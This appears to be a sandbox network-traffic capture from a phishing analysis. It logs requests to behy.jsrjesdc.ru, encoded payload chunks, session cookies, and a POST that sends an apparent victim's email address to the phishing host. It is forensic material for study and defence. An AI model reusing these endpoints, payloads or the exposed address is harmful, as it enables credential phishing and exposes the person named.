2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 67 7a 62 46 34 4b 58 48 30 37 42 6a 34 41 41 32 64 46 56 78 4a 65 42 41 55 53 47 47 52 57 65 31 51 50 66 77 30 4b 5a 52 41 63 66 31 31 71 42 58 51 4d 42 52 49 75 4d 33 68 77 52 41 39 38 49 44 38 32 46 42 63 42 53 33 67 38 51 69 67 42 45 68 67 7a 66 48 73 44 49 33 49 4b 43 54 59 51 46 33 64 63 61 54 39 33 43 42 49 4a 45 44 4e 55 64 33 59 50 56 42 51 6e 4e 68 41 58 64 46 52 36 4b 33 4d 58 45 51 6b 54 4f 6c 52 6b 42 31 35 34 4a 77 6c 6d 47 6a 31 30 56 48 6f 72 63 41 51 42 46 67 4d 69 56 31 31 69 48 46 4a 52 4a 47 63 44 41 46 70 55 66 67 45 46 55 69 73 38 44 79 42 36 52 46 77 50 65 43 41 4a 4e 68 41 58 64 31 35 52 57 67 52 54 42 41 6b 39 4f 46 52 6b 56 77 64 56 4a 79 63 32 46 79 35 30 52 48 77 66 58 67 51 42 45 68 67 7a 55 32 4a 63 49 33 67 67 43 54 59 51 45 Data Ascii: gzbF4KXH07Bj4AA2dFVxJeBAUSGGRWe1QPfw0KZRAcf11qBXQMBRIuM3hwRA98ID82FBcBS3g8QigBEhgzfHsDI3IKCTYQF3dcaT93CBIJEDNUd3YPVBQnNhAXdFR6K3MXEQkTOlRkB154JwlmGj10VHorcAQBFgMiV11iHFJRJGcDAFpUfgEFUis8DyB6RFwPeCAJNhAXd15RWgRTBAk9OFRkVwdVJyc2Fy50RHwfXgQBEhgzU2JcI3ggCTYQE
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 4a 4f 44 67 44 41 32 39 46 55 41 56 6b 42 43 30 6d 4e 6a 4e 38 63 48 49 50 65 43 41 4b 4f 7a 74 6d 41 41 4e 70 50 77 52 54 42 7a 67 59 4f 6e 39 4a 51 43 4e 34 49 41 6b 32 45 42 64 30 56 46 41 76 43 42 6b 70 43 51 73 6b 56 77 45 48 58 6e 67 6b 44 6a 67 36 5a 67 78 41 56 7a 42 6a 44 77 63 6d 4e 6a 4e 38 63 48 49 50 65 43 41 4b 59 54 74 6e 64 41 56 36 4c 48 42 55 43 7a 67 59 4d 33 78 77 63 67 39 34 4a 44 41 39 41 7a 70 6b 42 58 6f 73 63 46 51 4c 4f 42 67 7a 66 48 42 79 44 33 67 72 41 69 45 44 5a 6c 30 44 66 41 46 77 46 41 63 6d 4e 6a 4e 38 63 48 49 50 65 43 41 4b 4f 44 74 6e 5a 77 4e 52 57 67 46 56 41 52 55 59 59 33 5a 61 63 67 39 34 49 41 6b 32 45 42 4e 2f 57 32 70 61 52 51 30 72 50 47 42 6c 56 31 35 69 58 6e 67 72 41 6a 38 41 4f 58 42 63 66 69 74 47 42 41 Data Ascii: JODgDA29FUAVkBC0mNjN8cHIPeCAKOztmAANpPwRTBzgYOn9JQCN4IAk2EBd0VFAvCBkpCQskVwEHXngkDjg6ZgxAVzBjDwcmNjN8cHIPeCAKYTtndAV6LHBUCzgYM3xwcg94JDA9AzpkBXoscFQLOBgzfHByD3grAiEDZl0DfAFwFAcmNjN8cHIPeCAKODtnZwNRWgFVARUYY3Zacg94IAk2EBN/W2paRQ0rPGBlV15iXngrAj8AOXBcfitGBA
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 63 41 46 77 42 41 45 53 47 32 31 32 56 46 77 50 65 43 41 4a 4e 68 55 35 63 31 70 52 57 32 64 54 42 42 49 59 49 56 59 42 5a 52 46 56 44 69 51 37 41 77 78 34 51 48 6f 72 42 42 51 71 59 68 4e 6b 62 31 34 4b 47 31 41 30 63 43 49 51 46 77 41 44 61 54 42 2f 55 79 6b 47 61 43 4a 58 58 6c 38 41 55 79 73 46 49 68 41 58 41 46 6c 52 57 67 52 54 45 51 59 58 5a 48 78 37 51 43 4e 34 49 41 6b 32 45 42 64 30 56 47 6f 46 64 77 6b 70 59 7a 30 74 56 77 42 6c 48 57 73 67 65 54 73 37 5a 6b 31 46 55 41 4a 65 42 43 78 6a 4d 53 52 52 64 47 5a 66 63 67 6f 4a 4e 68 41 58 64 46 52 36 4c 77 41 4c 4b 7a 77 39 4a 46 64 5a 58 41 39 38 43 51 6f 6d 50 42 42 47 65 48 6f 72 63 41 51 42 45 68 67 7a 62 46 34 4b 45 57 73 6b 48 69 67 56 44 48 39 62 61 53 39 64 55 69 73 72 4e 6a 4e 34 5a 33 45 Data Ascii: cAFwBAESG212VFwPeCAJNhU5c1pRW2dTBBIYIVYBZRFVDiQ7Awx4QHorBBQqYhNkb14KG1A0cCIQFwADaTB/UykGaCJXXl8AUysFIhAXAFlRWgRTEQYXZHx7QCN4IAk2EBd0VGoFdwkpYz0tVwBlHWsgeTs7Zk1FUAJeBCxjMSRRdGZfcgoJNhAXdFR6LwALKzw9JFdZXA98CQomPBBGeHorcAQBEhgzbF4KEWskHigVDH9baS9dUisrNjN4Z3E
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 6a 4e 38 63 48 49 50 65 43 41 4b 4a 51 41 4d 66 31 31 53 50 77 56 56 41 52 55 63 49 31 5a 37 56 41 39 38 4a 7a 73 61 45 42 64 30 56 48 6f 72 63 41 51 53 50 47 41 68 55 58 41 43 45 6c 41 37 4f 44 30 57 50 58 52 4c 66 77 4a 6e 47 68 49 47 61 57 4e 32 57 6e 49 50 65 43 41 4b 61 42 6f 7a 57 6c 52 36 4b 33 41 45 42 43 67 32 4d 32 4e 30 5a 52 4a 56 4a 43 51 6c 4f 32 59 41 51 32 6f 2f 53 52 6b 42 45 6a 59 69 64 6c 70 79 44 33 67 67 43 53 51 39 45 32 4e 4a 56 79 39 64 46 79 70 6a 62 43 52 73 5a 45 51 63 55 44 73 61 50 54 73 48 64 30 4e 52 50 31 49 45 4c 53 59 32 4d 33 78 77 63 67 39 34 49 41 70 69 4f 41 4e 6e 41 31 49 73 58 67 51 46 42 52 67 6a 56 6e 74 55 58 33 49 4b 43 54 59 51 46 33 52 55 65 69 39 5a 44 79 6b 47 50 54 74 52 64 31 77 50 66 44 63 4a 4a 6a 6f 63 Data Ascii: jN8cHIPeCAKJQAMf11SPwVVARUcI1Z7VA98JzsaEBd0VHorcAQSPGAhUXACElA7OD0WPXRLfwJnGhIGaWN2WnIPeCAKaBozWlR6K3AEBCg2M2N0ZRJVJCQlO2YAQ2o/SRkBEjYidlpyD3ggCSQ9E2NJVy9dFypjbCRsZEQcUDsaPTsHd0NRP1IELSY2M3xwcg94IApiOANnA1IsXgQFBRgjVntUX3IKCTYQF3RUei9ZDykGPTtRd1wPfDcJJjoc
2025-03-19 13:49:41 UTC	1369	IN	Data Raw: 46 39 59 52 55 4d 55 56 39 53 50 31 55 4d 4c 42 55 32 4d 32 78 65 43 68 74 72 4a 7a 73 61 45 42 64 30 56 48 6f 72 63 41 51 73 47 52 4d 38 56 31 31 39 47 46 55 6b 4a 43 63 37 50 6c 70 55 61 67 56 33 43 53 6c 6a 50 53 31 58 41 47 55 64 61 79 42 35 4f 7a 74 6d 54 55 56 51 41 58 41 55 42 44 73 58 4c 6e 78 30 5a 51 42 53 55 52 31 6d 47 6a 31 30 56 48 6f 72 63 31 6f 4c 4e 6a 59 7a 66 48 42 79 44 33 30 4f 42 69 63 37 4f 6d 64 62 61 6c 74 67 42 42 49 38 59 43 31 58 59 48 45 42 56 54 73 61 59 54 74 6d 41 51 56 53 4c 77 68 52 45 67 6b 51 4d 31 42 45 58 41 39 34 49 41 6b 32 45 42 64 33 57 6d 6f 2f 66 78 45 53 59 68 4d 69 55 57 51 47 41 33 30 30 42 69 63 37 45 77 78 4b 66 41 46 77 43 51 55 37 4d 6d 42 34 64 48 70 64 66 68 51 6e 4e 68 41 58 64 46 52 56 4f 56 34 6f 41 Data Ascii: F9YRUMUV9SP1UMLBU2M2xeChtrJzsaEBd0VHorcAQsGRM8V119GFUkJCc7PlpUagV3CSljPS1XAGUdayB5OztmTUVQAXAUBDsXLnx0ZQBSUR1mGj10VHorc1oLNjYzfHByD30OBic7OmdbaltgBBI8YC1XYHEBVTsaYTtmAQVSLwhREgkQM1BEXA94IAk2EBd3Wmo/fxESYhMiUWQGA300Bic7EwxKfAFwCQU7MmB4dHpdfhQnNhAXdFRVOV4oA

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:41 UTC	1141	OUT	GET /rinnJTnNQBusDG268KUc2jNOCcj8kD3zcagxcq HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkpWMjF4aGJlMDl6RW9PM3VCbkQ5QUE9PSIsInZhbHVlIjoicjhNUnQzMGtGd0hyZ1d3ejB0OVRpcExzOENQYmQ1SWw2elY2T1JoQ2F6VURnYmdzWXVQa2RRZ25HVytDZG0xb09ycDhMK2NRM2x2bHBSTVhHa0Q0NEIzWW9VR1V3S0M3b3BrV2FPQllyR0c4SVluNmNwVFk4TjErQlM0YklTRkQiLCJtYWMiOiI2ODQxM2U0MzcyZDJkNTQ0OTQ3MzYyZjQ4MWM3ODE0MGYyMDgyZmY5YTY2NzQyNDljMWY1MmIzMzQzMjE3NTZmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQZFd3NExNYXd1WXlUbnV0SXRrb3c9PSIsInZhbHVlIjoiVzdubm4yYzFMRGFaQzBLWjVLOE52YU9DMlJMZkVnNFhYck9ZdTg0RlhlMnVDUm1NL3UxamE5SFpqQUZ5UXFBTDFjbHlxZmtmam14eTNUUHlUelRRK2F4ZmNGRHN1eTVUSVh3RjI5dWJVa3FrQmVQRWZ3OFFQc1N5bFZIckxVMTAiLCJtYWMiOiJjN2I0NTdmMDM4MmYxZDljNDU3ZDkzYWJkNmI2NzRiYzU0MTVkNWY2YzBlMGU0ZGIyYTQyNGFiMmJmYTJiNDExIiwidGFnIjoiIn0%3D
2025-03-19 13:51:01 UTC	808	IN	HTTP/1.1 404 Not Found Date: Wed, 19 Mar 2025 13:51:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tyKiuVMW7LUzfopp7X84ci780FEnzeCnXUXhwNH4uv74Kf%2FImvufbLsqGtMTsjthFZBOamLPujz%2BGAb0QqU4DrK5rurcHrDkVR2%2B1Af4rRAclhhejZlOhhlt6eIm"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=349&min_rtt=340&rtt_var=146&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2046&delivery_rate=9768115&cwnd=252&unsent_bytes=0&cid=0920665983e80162&ts=80284&x=0" CF-RAY: 922d6f3e2b42e1b0-MRS alt-svc: h3=":443"; ma=86400
2025-03-19 13:51:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:42 UTC	1447	OUT	POST /rqMHiYH6TrbP1joQZFS2wqf62x2ghz0nP0jzmioljy HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive Content-Length: 27 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://behy.jsrjesdc.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://behy.jsrjesdc.ru/7PIWi2mf/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IktLMm4wRTVQUTMzWTVXWnBwZG1md2c9PSIsInZhbHVlIjoiUFBic3AwWTQxZE52OFpvelFEM1JJRFNSK3hnN0FNQS9LRXZmQjN2cFhWdmFpM2NSZHhaZ21tOFEvbjI0SEVOT3JsTUkvV0VIMW15bjN6ZU93NWw4Y3ZNckZtMzhsNUQ0UXJMT2dONGZWZkVDTjllUy9OMGIzNzNtSTh1eWExVFoiLCJtYWMiOiJmOGYyZDUzNzQwNWY3YmUwZjM5YTRjMzIxNGRlYzE0NjhhNTUxMjg4Mzk4N2UwMWFhZjA0OGM5MWJhOWZkN2QxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJ4OTBJdTlGdTRhS0dwVjV4Vk9paVE9PSIsInZhbHVlIjoidHJ0OVdKdmcwdlRwcmlLWkNydEdxamFRamNvMDRTV216cDZzWUhTT1NSUlEzTnVSNWJnaU12NldkYndOb3EyUkJpTFZKMGFtNk5MZFRYUGxZa1UwZlIyWWtFbTYvV2pEL2x3aGhCSTUvZDJLRXpuM0NST3dqZlFpWDI4N3ZqZEEiLCJtYWMiOiI4ZmVhMDdkMDBkOTcwMTQ2MmEzOWM0YjQ1NmVhYzYzODJmZWE0NTMxNjQwNmQxNTc3ZTBlOTE1NGY5MTZiYTMyIiwidGFnIjoiIn0%3D
2025-03-19 13:49:42 UTC	27	OUT	Data Raw: 64 61 74 61 3d 46 46 72 2e 62 69 6b 25 34 30 67 65 6f 6d 65 74 69 75 73 2e 6e 6c Data Ascii: data=FFr.bik%40geometius.nl
2025-03-19 13:49:42 UTC	1202	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nSKAYPKjy3gJIXEQR6exomxTJGp8b7M35Ke9F9MYETqKUzajbQKCTfqGAnka3P0OYg%2B3R6CPjq9V7xBPlIHRWQhNjwo22Pxu2j3yoavkububPa3fyPEUSCrvyWB7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16380&min_rtt=16340&rtt_var=6156&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2379&delivery_rate=247490&cwnd=242&unsent_bytes=0&cid=ba32390dd0f3b290&ts=219&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkV1WVNRZ21yM1pzYTV5UDVRK3JMMWc9PSIsInZhbHVlIjoid2xkcWhSaE9iTEZIYzc4TEJaS1RNMi9yVU1wdGkrRWFBdVZpKzVpT3pOMmZzaUZqU3hNY3dEM2haVmYzMnZ5cDFtRmpUenpzak90cTVGUHZHZURZc0J6VSt3ZFpPY05sVU50YVBwYldPaHpUVXZwMWk4bGEwVjdRNDN0Mnd6ZDIiLCJtYWMiOiIyNjYyMmViZjAyYjM4YTBjZTkyMTE4NTQyNjRhNGI2ODFmNmRhNWUwZDkwZmQzYjgzMjkwMDA1OGJjMTliZGU5IiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 15:49:42 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 13:49:42 UTC	765	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 6b 72 54 54 6c 55 53 6a 51 32 62 6a 68 54 4e 57 6c 5a 63 57 6b 30 63 57 38 7a 63 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 56 46 5a 53 58 55 72 55 54 4a 73 4d 45 52 49 52 32 6b 35 5a 33 46 47 52 58 46 6f 55 31 70 31 5a 6e 4e 48 57 45 68 33 51 58 42 69 53 33 56 75 56 6b 49 78 63 6c 6f 32 4e 45 64 50 55 46 4e 56 56 32 39 78 53 56 56 43 53 55 74 50 4e 46 46 61 59 7a 64 76 62 31 5a 68 63 30 56 34 65 55 70 75 52 54 56 33 55 6a 6c 31 61 58 70 76 52 48 5a 32 57 6e 46 76 53 48 52 56 65 6e 4e 49 62 57 4e 74 5a 32 35 4d 5a 33 6c 74 4c 7a 52 72 4b 33 68 44 62 47 55 35 62 46 59 7a 63 32 31 70 4d 6d 64 46 52 44 4a 49 65 45 30 79 63 6b 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjkrTTlUSjQ2bjhTNWlZcWk0cW8zcFE9PSIsInZhbHVlIjoiWVFZSXUrUTJsMERIR2k5Z3FGRXFoU1p1ZnNHWEh3QXBiS3VuVkIxclo2NEdPUFNVV29xSVVCSUtPNFFaYzdvb1Zhc0V4eUpuRTV3Ujl1aXpvRHZ2WnFvSHRVenNIbWNtZ25MZ3ltLzRrK3hDbGU5bFYzc21pMmdFRDJIeE0yckQ
2025-03-19 13:49:42 UTC	339	IN	Data Raw: 31 34 63 0d 0a 7b 22 61 22 3a 22 61 35 46 41 66 58 6c 67 4c 75 67 58 4f 58 71 48 57 2b 47 50 52 4f 35 56 30 66 36 49 35 35 38 43 41 48 4c 58 44 73 39 69 41 61 61 57 52 72 54 45 37 37 53 4e 4b 48 4f 4b 37 35 6d 58 68 54 6d 4c 41 75 66 5c 2f 59 6b 58 37 4b 78 70 67 32 57 52 55 67 61 37 43 70 71 79 47 78 63 56 61 58 4f 6a 49 6b 58 4c 66 75 54 37 43 78 4c 54 44 48 43 71 6a 64 6b 31 41 48 4d 4f 42 54 72 44 58 53 62 4b 71 46 33 57 79 63 30 5a 5a 6d 4b 56 48 6d 51 4c 57 36 6f 77 5c 2f 53 6d 6a 64 5c 2f 6e 51 31 63 58 76 78 38 72 33 30 69 4c 4b 65 4c 59 73 3d 22 2c 22 62 22 3a 22 34 32 33 39 65 65 31 39 61 38 62 30 33 33 66 31 62 36 64 63 34 38 62 30 64 39 39 38 30 39 36 61 22 2c 22 63 22 3a 22 34 61 64 66 62 33 66 64 36 39 38 31 65 66 35 34 65 34 39 31 35 33 34 Data Ascii: 14c{"a":"a5FAfXlgLugXOXqHW+GPRO5V0f6I558CAHLXDs9iAaaWRrTE77SNKHOK75mXhTmLAuf\/YkX7Kxpg2WRUga7CpqyGxcVaXOjIkXLfuT7CxLTDHCqjdk1AHMOBTrDXSbKqF3Wyc0ZZmKVHmQLW6ow\/Smjd\/nQ1cXvx8r30iLKeLYs=","b":"4239ee19a8b033f1b6dc48b0d998096a","c":"4adfb3fd6981ef54e491534
2025-03-19 13:49:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:42 UTC	1145	OUT	GET /rqMHiYH6TrbP1joQZFS2wqf62x2ghz0nP0jzmioljy HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkV1WVNRZ21yM1pzYTV5UDVRK3JMMWc9PSIsInZhbHVlIjoid2xkcWhSaE9iTEZIYzc4TEJaS1RNMi9yVU1wdGkrRWFBdVZpKzVpT3pOMmZzaUZqU3hNY3dEM2haVmYzMnZ5cDFtRmpUenpzak90cTVGUHZHZURZc0J6VSt3ZFpPY05sVU50YVBwYldPaHpUVXZwMWk4bGEwVjdRNDN0Mnd6ZDIiLCJtYWMiOiIyNjYyMmViZjAyYjM4YTBjZTkyMTE4NTQyNjRhNGI2ODFmNmRhNWUwZDkwZmQzYjgzMjkwMDA1OGJjMTliZGU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjkrTTlUSjQ2bjhTNWlZcWk0cW8zcFE9PSIsInZhbHVlIjoiWVFZSXUrUTJsMERIR2k5Z3FGRXFoU1p1ZnNHWEh3QXBiS3VuVkIxclo2NEdPUFNVV29xSVVCSUtPNFFaYzdvb1Zhc0V4eUpuRTV3Ujl1aXpvRHZ2WnFvSHRVenNIbWNtZ25MZ3ltLzRrK3hDbGU5bFYzc21pMmdFRDJIeE0yckQiLCJtYWMiOiJlMTM2NWJmZjhiNjc0M2NkODkwYTMxZjlhM2RiZmNmZjY4NzhlN2ZhYzQzYmM0YTBmN2Q4ZmIzYWFjZDVkMTAxIiwidGFnIjoiIn0%3D
2025-03-19 13:49:42 UTC	1022	IN	HTTP/1.1 404 Not Found Date: Wed, 19 Mar 2025 13:49:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3r9cEn7cSXmpR8BLAPAUNUIGVaC8VNWEy8IFAQb1FvSxBHXUAZrOtfVGe770d%2FGZcus9kXyoIzGyfakegJlpGdbA%2FTJb1e1k2Rti%2FWihGwQiaCMRgGE4v9yJsiyP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=355&min_rtt=338&rtt_var=161&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2050&delivery_rate=8460251&cwnd=252&unsent_bytes=0&cid=51857d2b6002a1bf&ts=171&x=0" Server: cloudflare CF-RAY: 922d6f44fa2b1892-MRS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11560&min_rtt=11551&rtt_var=4338&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1717&delivery_rate=250714&cwnd=187&unsent_bytes=0&cid=65f6b4e126c81e1b&ts=415&x=0"
2025-03-19 13:49:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:42 UTC	1508	OUT	GET /YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://behy.jsrjesdc.ru/7PIWi2mf/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkV1WVNRZ21yM1pzYTV5UDVRK3JMMWc9PSIsInZhbHVlIjoid2xkcWhSaE9iTEZIYzc4TEJaS1RNMi9yVU1wdGkrRWFBdVZpKzVpT3pOMmZzaUZqU3hNY3dEM2haVmYzMnZ5cDFtRmpUenpzak90cTVGUHZHZURZc0J6VSt3ZFpPY05sVU50YVBwYldPaHpUVXZwMWk4bGEwVjdRNDN0Mnd6ZDIiLCJtYWMiOiIyNjYyMmViZjAyYjM4YTBjZTkyMTE4NTQyNjRhNGI2ODFmNmRhNWUwZDkwZmQzYjgzMjkwMDA1OGJjMTliZGU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjkrTTlUSjQ2bjhTNWlZcWk0cW8zcFE9PSIsInZhbHVlIjoiWVFZSXUrUTJsMERIR2k5Z3FGRXFoU1p1ZnNHWEh3QXBiS3VuVkIxclo2NEdPUFNVV29xSVVCSUtPNFFaYzdvb1Zhc0V4eUpuRTV3Ujl1aXpvRHZ2WnFvSHRVenNIbWNtZ25MZ3ltLzRrK3hDbGU5bFYzc21pMmdFRDJIeE0yckQiLCJtYWMiOiJlMTM2NWJmZjhiNjc0M2NkODkwYTMxZjlhM2RiZmNmZjY4NzhlN2ZhYzQzYmM0YTBmN2Q4ZmIzYWFjZDVkMTAxIiwidGFnIjoiIn0%3D
2025-03-19 13:49:43 UTC	1220	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8GKzJSnXbt04o0VqN%2FlHKSxcHhzqlxniNWliuv01oSCGPqCH0ytKl24sCSxdDkslNSSNvK0z9zbBdXxZuJMwXJIo%2Fw8KnxJudpZNt2OOOPEDPjPolUZnezxSnvqH"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=344&min_rtt=327&rtt_var=157&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2413&delivery_rate=8678111&cwnd=252&unsent_bytes=0&cid=8b49d36f26fb0628&ts=226&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Wed, 19 Mar 2025 15:49:43 GMT
2025-03-19 13:49:43 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 64 4f 4f 47 39 56 55 54 56 55 55 6b 77 78 52 6c 42 54 4d 69 74 61 4f 57 35 31 55 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 69 39 72 56 46 64 30 4d 6d 5a 77 4d 31 4e 6f 5a 6a 5a 69 57 44 68 4e 65 6b 78 42 57 6c 4e 6b 56 30 56 30 54 46 5a 71 52 58 46 42 62 6d 64 76 57 44 42 7a 5a 47 64 78 53 6d 64 43 65 57 68 6e 62 56 52 34 64 46 49 35 5a 31 56 57 57 56 64 4a 52 32 49 34 51 6a 4a 42 62 6a 4e 33 55 47 68 47 57 47 5a 72 51 55 4e 75 4d 30 63 7a 61 57 56 69 54 6e 46 5a 4d 45 64 48 63 30 35 31 61 44 64 47 54 58 4a 33 57 46 4e 53 5a 54 4e 79 51 55 38 33 4e 56 4e 34 56 6d 45 30 56 46 4d 34 64 6d 64 50 4d 6b 4e 75 5a 6c 5a 50 55 6a 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjY
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 31 65 38 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 